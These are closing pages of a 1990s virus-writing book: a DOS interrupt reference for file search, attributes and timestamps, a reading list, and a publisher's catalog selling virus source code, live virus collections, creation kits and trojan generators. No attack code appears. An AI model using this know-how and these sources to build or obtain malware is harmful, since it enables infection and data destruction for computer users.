Function 42H: Move File Pointer
Registers: ah = 42H
Appendix G: BIOS and DOS Interrupt Functions 161
al = Method of moving the pointer
bx = File handle
cx:dx = Distance to move the pointer, in bytes
Returns: c = set if there is an error
ax = Error code if there is an error
dx:ax = New file pointer value, if no error
Function 42H moves the file pointer in preparation for a read or write
operation. The number in cx:dx is a 32 bit unsigned integer. The methods
of moving the pointer are as follows: al=0 moves the pointer relative to
the beginning of the file, al=1 moves the pointer relative to the current
location, al=2 moves the pointer relative to the end of the file.
Function 43H: Get and Set File Attributes
Registers: ah = 43H
al = 0 to get attributes, 1 to set them
cl = File attributes, for set function
ds:dx = Pointer to an ASCIIZ path/file name
Returns: c = set if an error occurs
ax = Error code when an error occurs
cl = File attribute, for get function
The file should not be open when you get/set attributes. The bits in cl
correspond to the following attributes:
Bit 0 Read Only attribute
Bit 1 Hidden attrubute
Bit 2 System attribute
Bit 3 Volume Label attribute
Bit 4 Subdirectory attribute
Bit 5 Archive attribute
Bit 6 and 7 Not used
Function 47H: Get Current Directory
Registers: ah = 47H
162 The Little Black Book of Computer Viruses
dl = Drive number, 0=Default, 1=A, 2=B, etc.
ds:si = Pointer to buffer to put directory path name in
Returns: c = set if an error occurs
ax = Error code when an error occurs
The path name is stored in the data area at ds:si as an ASCIIZ null
terminated string. This string may be up to 64 bytes long, so one should
normally allocate that much space for this buffer.
Function 4EH: Find First File Search
Registers: ah = 4EH
cl = File attribute to use in the search
ds:dx = Pointer to an ASCIIZ path/file name
Returns: ax = Error code when an error occurs, or 0 if no error
The ASCIIZ string at ds:dx may contain the wildcards * and ?. For
example, ``c:\dos\*.com'' would be a valid string. This function will return
with an error if it cannot find a file. No errors indicate that the search was
successful. When successful, DOS formats a 43 byte block of data in the
current DTA which is used both to identify the file found, and to pass to
the Find Next function, to tell it where to continue the search from. The
data in the DTA is formatted as follows:
Byte Size Description
0 21 Reserved for DOS Find Next
21 1 Attribute of file found
22 2 Time on file found
24 2 Date on file found
26 4 Size of file found, in bytes
30 13 File name of file found
The attribute is used in a strange way for this function. If any of the Hidden,
System, or Directory attributes are set when Find Next is called, DOS will
search for any normal file, as well as any with the specified attributes.
Archive and Read Only attributes are ignored by the search altogether. If
the Volume Label attribute is specified, the search will look only for files
with that attribute set.
Appendix G: BIOS and DOS Interrupt Functions 163
Function 4FH: Find Next File Search
Registers: ah = 4FH
Returns: ax = 0 if successful, otherwise an error code
This function continues the search begun by Function 4E. It relies on the
information in the DTA, which should not be disturbed between one call
and the next. This function also modifies the DTA data block to reflect the
next file found. In programming, one often uses this function in a loop
until ax=18, indicating the normal end of the search.
Function 57H: Get/Set File Date and Time
Registers: ah = 57H
al = 0 to get the date/time
al = 1 to set the date/time
bx = File Handle
cx = 2048*Hour + 32*Minute + Second/2 for set
dx = 512*(Year1980) + 32*Month + Day for set
Returns: c = set if an error occurs
ax = Error code in the event of an error
cx = 2048*Hour + 32*Minute + Second/2 for get
dx = 512*(Year1980) + 32*Month + Day for get
This function gets or sets the date/time information for an open file. This
information is normally generated from the system clock date and time
when a file is created or modified, but the programmer can use this function
to modify the date/time at will.
164 The Little Black Book of Computer Viruses
Appendix H: Suggested Reading
Inside the PC
------, IBM Personal Computer AT Technical Reference (IBM Corpora
tion, Racine, WI) 1984. Chapter 5 is a complete listing of the IBM AT
BIOS, which is the industry standard. With this, you can learn all of
the intimate details about how the BIOS works. You have to buy the
IBM books from IBM or an authorized distributor. Bookstores don't
carry them, so call your local distributor, or write to IBM at PO Box
2009, Racine, WI 53404 for a list of publications and an order form.
------, IBM Disk Operating System Technical Reference (IBM Corpora
tion, Racine, WI) 1984. This provides a detailed description of all
PCDOS functions for the programmer, as well as memory maps,
details on disk formats, FATs, etc., etc. There is a different manual for
each version of PCDOS.
------, System BIOS for IBM PC/XT/AT Computers and Compatibles
(Addison Wesley and Phoenix Technologies, New York) 1990, ISBN
0201518066 Written by the creators of the Phoenix BIOS, this book
details all of the various BIOS functions and how to use them. It is a
useful complement to the AT Technical Reference, as it discusses how
the BIOS works, but it does not provide any source code.
Peter Norton, The Programmer's Guide to the IBM PC (Microsoft Press,
Redmond, WA) 1985, ISBN 0914845462. This book has been
through several editions, each with slightly different names, and is
widely available in one form or another.
Ray Duncan, Ed., The MSDOS Encyclopedia (Microsoft Press, Red
mond, WA) 1988, ISBN 1556150490. This is the definitive encyclo
pedia on all aspects of MSDOS. A lot of it is more verbose than
necessary, but it is quite useful to have as a reference.
Michael Tischer, PC Systems Programming (Abacus, Grand Rapids, MI)
1990, ISBN 1557550360.
Andrew Schulman, et al., Undocumented DOS, A Programmer's Guide
to Reserved MSDOSFunctions and Data Structures (Addison Wesley,
New York) 1990, ISBN 0201570645. This might be useful for you
hackers out there who want to find some nifty places to hide things that
you don't want anybody else to see.
------, Microprocessor and Peripheral Handbook, Volume I and II (Intel
Corp., Santa Clara, CA) 1989, etc. These are the hardware manuals for
most of the chips used in the PC. You can order them from Intel, PO
Box 58122, Santa Clara, CA 95052.
Ralf Brown and Jim Kyle, PC Interrupts, A Programmer's Reference to
BIOS, DOS and ThirdParty Calls (Addison Wesley, New York) 1991,
ISBN 0201577976. A comprehensive guide to interrupts used by
everything under the sun, including viruses.
Assembly Language Programming
Peter Norton, Peter Norton's Assembly Language Book for the IBM PC
(Brady/ Prentice Hall, New York) 1989, ISBN 0136624537.
Leo Scanlon, 8086/8088/80286 Assembly Language, (Brady/Prentice
Hall, New York) 1988, ISBN 0132469197.
C. Vieillefond, Programming the 80286 (Sybex, San Fransisco) 1987,
ISBN 0895882779. A useful advanced assembly language guide for
the 80286, including protected mode systems programming, which is
worthwhile for the serious virus designer.
John Crawford, Patrick Gelsinger, Programming the 80386 (Sybex, San
Fransisco) 1987, ISBN 0895883813. Similar to the above, for the
80386.
166 The Little Black Book of Computer Viruses
Viruses, etc.
Philip Fites, Peter Johnston, Martin Kratz, The Computer Virus Crisis
1989 (Van Nostrand Reinhold, NewYork) 1989, ISBN 0442285329.
Colin Haynes, The Computer Virus Protection Handbook (Sybex, San
Fransisco) 1990, ISBN 0895886960.
Richard B. Levin, The Computer Virus Handbook (Osborne/McGraw
Hill, New York) 1990, ISBN 0078816475.
John McAfee, Colin Haynes, Computer Viruses, Worms, Data Diddlers,
Killer Programs, and other Threats to your System (St. Martin's Press,
NY) 1989, ISBN 0312030649.
Steven Levey, Hackers, Heros of teh Computer Revolution (Bantam
Doubleday, New York, New York) 1984, ISBN 0440134056.
Ralf Burger, Computer Viruses and Data Protection (Abacus, Grand
Rapids, MI) 1991, ISBN 1557551235.
Fred Cohen,A Short Course on Computer Viruses (ASP Press, Pittsburgh,
PA) 1990, ISBN 1878109014.
Note
I would like to publicly thank Mr. David Stang for some
valuable suggestions on how to improve this book, and for pointing
out some errors in the first printing.
Appendix H: Suggested Reading 167
The Giant Black Book
of Computer Viruses
by Mark A. Ludwig, 672 pages, 1995, ISBN 0929408101, $39.95
Without a doubt, this is the best technical
refererence on computer viruses available any
where at any price! This book gives you a com
plete course on computer viruses which starts out
with a simple 44byte virus, and goes on to cover
every aspect of modern computer viruses.
In the first part of the book, you'll explore
replication techniques. You will start out with
simple overwriting viruses and companion vi
ruses, and go on to discuss parasitic viruses for
COM and EXE files and memory resident vi
ruses, including viruses which use advanced
memory control structure manipulation. Then
you'll tour boot sector viruses ranging from simple varieties that are safe
to play with up to some of the most successful viruses known, including
multipartite viruses. Advanced topics include infecting device drivers,
windows, OS/2, Unix and source viruses, with fully functional examples
of each.
The second part of the book will give you a solid introduction to the
battle between viruses and antivirus programs. It will teach you how virus
detectors work and what techniques they use. You'll get a detailed
introduction to stealth techniques used by both boot sector viruses and file
infecting viruses, including protected mode techniques. Next, there is a
tour of retaliating viruses which attack antivirus programs, and polymor
phic viruses. Finally, you'll get to experiment with the awesome power
of Darwinian genetic viruses.
The third part of the book deals with common payloads for viruses.
It includes a thorough discussion of destructive logic bombs, as well as
how to break the security of Unix and set up an account with super user
privileges. Also covered are the use of viruses to leak information through
covert channels, and beneficial viruses, including KOH.
This book is packed with detailed explanations of how all these
viruses work and full source code for 37 different viruses and 4 antivirus
programs. It also contains exercises designed to make you as proficient as
the author in this subject. Nothing is held back!
Airmail Shipping:Canada & Mexico add $8.00, others add $17.50
Program Disk $15.00
This disk contains full source and executables for all the viruses and antivirus programs
detailed in the book, including the KOH virus. Sorry, due to export restrictions, KOH is not
included on the disk for international customers. Youmay order it separately---see elsewhere
in this catalog.
Airmail Shipping:Canada & Mexico add $2.00, other countries add $3.00
The Collection CDROM
This is perhaps the hottest CDROM you will ever find anywhere.
Why do I say that? Take a look at what this CD contains:
. For starters, you get a fantastic virus collection consisting of 574
families, each of which may consist of anywhere from one to hundreds
of viruses about 3700 carefully tested and cataloged viruses in all (37
Megabytes).
. Roughly 700 files (2.8 Megabytes) containing new viruses which
aren't properly identified by most scanners.
. Plenty of source code and disassemblies of viruses to learn how they
work (12 Megabytes).
. Mutation engines, including the Dark Avenger's and the Trident Poly
morphic Engine, and others.
. Virus creation kits, including the Virus Creation Lab, Mass Produced
Code Generator, and others.
. Trojan horse programs, trojangenerating tools and source listings.
. Unusual and famous viruses for nonDOS environments, like the
Internet Worm and the Christmas virus.
. Virusrelated electronic newsletters ranging from the establishment
VirusL to underground sources like 40 Hex, Crypt and Nuke. (76
Megabytes)
. Text files and databases on viruses to tell you exactly what they do
when they attack (10 Megabytes)
. A test bed of mutating viruses to test your scanner against.
. Virus Simulators
. Amultitude of shareware/freeware antivirus programs (8 Megabytes)
. Assembly language and virushandling tools including an assembler
and disassembler.
In all, this CD is one of the most fascinating collections of secret
underground computer software on earth---a full 157 megabytes in total.
We have collected these viruses and programs from all over the world
during the past several years. They represent the work of virus researchers,
antivirus developers, and the virus underground.
If you are a virus researcher who needs live viruses, or an antivirus
developer who refuses to be content with being handed search strings, this
CD is an absolute must. Assembled from American Eagle's private
collection, this is your opportunity to get the inside scoop on viruses that
you just can't get without a major independent collection.
If you don't trust your antivirus program to catch viruses effectively,
this CD will allow you to test it like never before! You can find out
firsthand just what your antivirus software can and cannot do. Watch as
it misidentifies viruses, identifies two different viruses by the same name,
and fails to spot others! Once you do that, you'll know just what you can
and cannot expect from your software. You don't have to buy antivirus
software without testing it anymore!
Up until now, this information has been hard to obtain. Soon, it may
be illegal to get it in the US. In many countries it already is illegal to
distribute virus code. Everyyear, Congress attempts to put a new computer
crime bill through which includes sanctions against the distribution of
virus code in the US. Every year, agressive lawyers and prosecutors seek
to interpret vague laws in new ways. The First Amendment is being
systematically burned up in cyberspace, and chances are, your ability to
buy material like this will be seriously curtailed before long. For now,
though, we are able to make this incredible collection available. If you've
ever even considered getting ahold of this material, don't wait, or you may
be too late!!
IBMPC Format CDROM $99.95
All CDs are shipped by certified mail in the US so that they don't get lost. Please add $5.00
shipping. All CDs shipped to other countries are sent by registered airmail. Customers in
Canada and Mexico please add $8.00, all other countries please add $10.00 shipping.
Note: This offer is good at the time of the publication of this catalog.
Due to the extremely controversial nature of this material, we may be
forced to discontinue it without notice at any time. Already, our advertis
ing has been banned in Soldier of Fortune, PC Magazine, Computer
Shopper, Dr. Dobbs, and many others because of this CD. If this CD is
withdrawn before your order is received, your money will be refunded.
The purchaser takes all responsibility to comply with local laws concern
ing possession or importation of this material.
The Virus Creation Labs
by George C. Smith, 176 pages, 1994,
$12.95
ISBN 0929408098
Take a journey into the underground,
where some people think they're police and
some think they're God . . . where lousy
products get great reviews and people who
write good programs are shouted down by
fools. Visit a world of idiots gawking at tech
nological marvels as those marvels munch up
their data. Visit a world where government
agents distribute viruses and antivirus developers hire virus writers (or
work for them).
George Smith, editor of the infamous underground Crypt Newsletter,
and onetime virus exchange BBS operator, lays bare the inner workings
of both the virus writing groups and the antivirus industry in this outra
geous new book. Get the inside dope on the great Michelangelo scare, on
the Virus Creation Lab and the Dark Avenger's Mutation Engine. Find
out about governmentrun virus distribution BBSes and see how the Secret
Service reacts when a highschool kid takes down their computer network.
Meet virus authors like Aristotle, Screaming Radish, Priest, Masud Khafir
and Colostomy Bagboy. Juciest of all, you'll get a revealing look at the
complex and often perverse interactions between the virus writers and the
antivirus community. This book has some shocking revelations in it that
you won't want to miss. Need I say more??
Airmail Shipping:Canada & Mexico add $3.25, others add $6.75
``There are relatively few books on the 'computer underground' that provide richly descrip
tive commentary and analysis of personalities and culture that simultaneously grab the reader
with entertaining prose. Among the classics are Cliff Stoll's The Cuckoo's Egg, Katie Hafner
and John Markoff's Cyberpunk, and Bruce Sterling's The Hacker Crackdown. Add George
Smith's The Virus Creation Labs to the list
. . . Virus Creation Labs is about viruses as
M*A*S*H is about war!''
Jim Thomas
Computer Underground Digest
``I opened the book at random and it grabbed me right from the first paragraph. I sat down
that same weekend and read the whole thing!''
Victor Sussman
US News & World Report
``an engaging, articulate diatribe on the world of computer virus writers . . . . hilarious,
mindopening reading.''
Bill Peschel
McClatchy Newswire
``a hard book to put down. It is well written . . . very entertaining. I very much enjoyed it,
however some of the people who are mentioned won't. Personally, I believe that being
mentioned is a mark of worth in the industry.'' Pete Radatti
VirusL Newsletter
Computer Viruses,
Artificial Life
and Evolution
By Mark A. Ludwig, 373 Pages, 1993, $26.95
ISBN 0929408071
Step into the 21st century where the dis
tinction between a living organism and a com
puter program begins to melt away. Will
evolution fuel an explosion of computer vi
ruses? Is a computer virus really alive? Will artificial life research succeed
in producing programs that are really alive? Will computer scientists steal
the thunder of evolutionary biologists, and turn evolution into a branch of
mathematics?
In Computer Viruses, Artificial Life and Evolution, Dr. Ludwig, a
physicist by trade, proposes to explore the world of computer viruses,
looking at them as a form of artificial life. This is the starting point for an
original and thoughtful introduction to the whole question of ``What is
Life?'' Ludwig realizes that no glib answer will do if someone is going to
``come out and say that the virus in your computer is alive, and you should
respect it and let it be fruitful and multiply rather than kill it.'' Sohe surveys
this very basic question in great depth. He discusses the mechanical
requirements for life. Yet he also introduces the reader to the deeper
philosophical questions about life, ranging from Aristotle to modern
quantum theory and information theory. This tour will leave you with a
deeper appreciation of both the certainties and the mysteries about what
life is.
Next, Ludwig digs into abiogenesis and evolution. He discusses why
viruses are so interesting in this regard, and goes on to show that, even
though they are very different from wet biology, computer viruses exhibit
many similarities to life as we know it too. The author demonstrates how
computer viruses can solve the real world problems they face, like evading
virus scanners, by successfully using evolution.
Yet Ludwig doesn't ignore the difficulties of evolution in the real
world. His training as a physical scientist becomes apparent as he relent
lessly seeks hard and fast results from a theory that hasn't been formulated
to produce them. Why shouldn't a proper theory of evolution give useful
predictions in any world we care to apply it to? Viruses or wet biology, it
should work for both. Ludwig is pessimistic about what wet biology has
produced: ``the philosophical commitments of Darwinism seem to be
poisoning it from within,'' yet he doesn't run to supernaturalism. Rather,
looking forward, he argues that ``Artificial life holds the promise of . . . a
real theory of evolution . . . . Any theory we formulate ought to explain
the whole gamut of worlds, ranging from those which couldn't evolve
anything to those which evolve as much as possible.'' But will AL live up
to this challenge, or will it become little more than ``mathematical story
telling?'' What is AL's future? Ludwig lays it out clearly for the reader in
a provocative and lucid style.
If you have questions or reservations about artificial life, this book
will open new doors for you. If you think you understand evolution or
artificial life, this book will challenge you to reexamine it. If you wonder
where computer viruses are headed in the coming decades, you can take
a peek right here. If you just find viruses fascinating and wonder whether
they could be alive, this book will give you unique insights you never
imagined!
Airmail Shipping:Canada & Mexico add $6.00,
other countries add $11.00
Program Disk
Diskette---$15.00
The Program Disk for Computer Viruses, Artificial Life and Evolution contains all of the
programs discussed in the book, including the SelfReproducing Automaton Lab, the
Darwinian Genetic Mutation Engine, the Trident Polymorphic Engine, the IntruderII virus,
the Lamark virus, the Scanslip virus and much more!
Airmail Shipping:Canada & Mexico add $2.00,
other countries add $3.00
The Fine Print . . . .
Shipping Charges
Inside the US, please add $3.00 for the first book and $1.50 for each
additional book for shipping, or combination of 2 disks. This covers book
rate shipping. Add $5.00 for The Collection CDROM, which is shipped
certified mail. If you need faster delivery please call. Most books can be
sent priority mail for $1 extra each. Overseas customers please add the
amounts noted by each item if you want airmail. Add the domestic rates
for surface mail. If you are unsure, call.
Phone and Fax Orders
We now accept orders by phone and fax. Call our phone order line at
(800)7194957. If you want information, to send a fax, or you just want
to talk, please call (520)3671621. We can ship COD or against a credit
card, and we accept purchase orders from companies with good credit.
Our area code should be 520 by the time you get this catalog, however
this date has been pushed back several times by the phone company
already, so if you have trouble with the 520 area code, try the old one of
602.
Payment Methods and Privacy
We accept payment by cash, check, money order or Visa/Mastercard,
and we will ship COD to addresses in the US. Overseas customers use
credit cards or send a bank draft in US dollars drawn on a US bank.
Otherwise send cash. In most cases we can accept either dollars or your
local currency, provided it is exchangeable. Just send enough---that's what
really counts. Please do not ask to send wire transfers. If you MUST, then
add $30 to cover the bank fees and be prepared to wait two months so we
can determine who sent what.
When you place a credit card order you leave a trail a mile wide. It is
a very public transaction. As such, we've decided to treat credit card orders
differently from other orders. Effective September 15, 1995, if you order
by credit card, you are stating that you do not care about privacy. Well, if
the government and any hacker can access your name once you've paid
by credit card, keeping the transaction private is futile anyhow. So if
anyone wants to buy our mailing list, we'll sell them your name. On the
other hand, if you send a check, cash, or money order, we will not release
your name to anyone ever, under any circumstances. Personally, if privacy
matters to you, I'd send cash or a money order (you don't have to put your
name on a money order).
Satisfaction Guarantee
We unconditionally guarantee your satisfaction on all orders. If you
have a problem, just call, and we'll do what it takes to get it right.
ORDER FORM
Name
Address
City, State, Zip
Country
Qty Description Price
Arizona Residents add 8% sales tax
Shipping (See reverse)
Total
Payment Method
Cash Money Order Visa Master Charge
Credit Card #
Expiration Date
Signature
Send your order to: American Eagle Publications, Inc.
P.O. Box 1507
Show Low, Arizona 85901
or call: 18007194957